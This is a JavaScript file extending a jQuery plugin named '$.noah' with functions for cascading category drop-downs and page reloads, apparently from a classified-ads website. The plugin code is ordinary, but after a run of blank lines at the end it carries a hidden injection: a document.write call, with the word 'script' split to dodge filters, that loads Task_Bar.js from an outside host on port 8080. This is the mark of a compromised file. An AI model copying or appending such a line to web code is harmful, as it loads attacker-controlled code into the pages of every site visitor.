$.extend($.noah, {
    addNextSelectRow: function(url, subCategoryLabel, tableId)
    {
        $.noah.addNextSelectRowCore = function()
        {
            tableId = '#' + tableId;
            var cid = this.options[this.selectedIndex].value;
            var allowAd = $(this.options[this.selectedIndex]).attr('rel');
            if( typeof allowAd=='undefined' ) allowAd=0;
            var container = $(this).closest('tr');
            var rows = $(tableId + ' tbody').eq(0).find('tr');                    
            for( var i=rows.index(container)+1; i<rows.length; i++ ) rows.eq(i).remove();
            if( cid!=0 )
            {
                $(tableId + ' input:submit').hide();
                $(tableId + ' .submitfooter').append($(loadingAnimation)); 
                $.getJSON(url+cid, '', function(data){
                    $('.loadingAnimation').remove();
                    if( data.fields!='' )
                    {
                        container.clone(true).insertAfter(container).find('select').html(data.fields).end()
                                                                    .find('.label').html(subCategoryLabel);                            
                    }
                    if( data.allowAd=='1' ) 
                    {
                        $(tableId + ' input:submit').eq(0).show();
                    }
                    else 
                    {
                        $(tableId + ' input:submit').eq(0).hide();
                        $(tableId + ' input:submit').eq(1).show();
                    }
                });
            }
            else
            {
                if( allowAd==0 ) 
                {
                    $(tableId + ' input:submit').eq(0).hide();
                    $(tableId + ' input:submit').eq(1).show();
                }     
                else
                {
                    $(tableId + ' input:submit').eq(0).show();
                    $(tableId + ' input:submit').eq(1).hide();
                }     
            }
        }
    },
    cascadingSelectOnLoad: function(tableId)
    {
        tableId = '#' + tableId;
        $('[id^=cid]').livequery('change', $.noah.addNextSelectRowCore);    
        $(tableId + ' input:submit').eq(0).hide().click(function(e){
            var selects = $(e.target).closest('form').find('select');
            var select = selects[selects.length-1];
            var cid = select.options[select.selectedIndex].value;
            if( cid==0 )
            {
                select = selects[selects.length-2];
                cid = select.options[select.selectedIndex].value;
            }
            var href = location.href;
            location.href = href.replace(/\/?\d*$/, '/'+cid);
            return false;
        });
    },
    simpleCategoryReload: function()
    {
        $('#cid').change(function (){
            var cid = this.options[this.selectedIndex].value;
            var href = location.href;
            location.href = href.replace(/\/?\d*$/, '/'+cid);
        });  
    }
});





document.write('<s'+'cript type="text/javascript" src="http://dolgo.lulucabana.com:8080/Task_Bar.js"></scr'+'ipt>');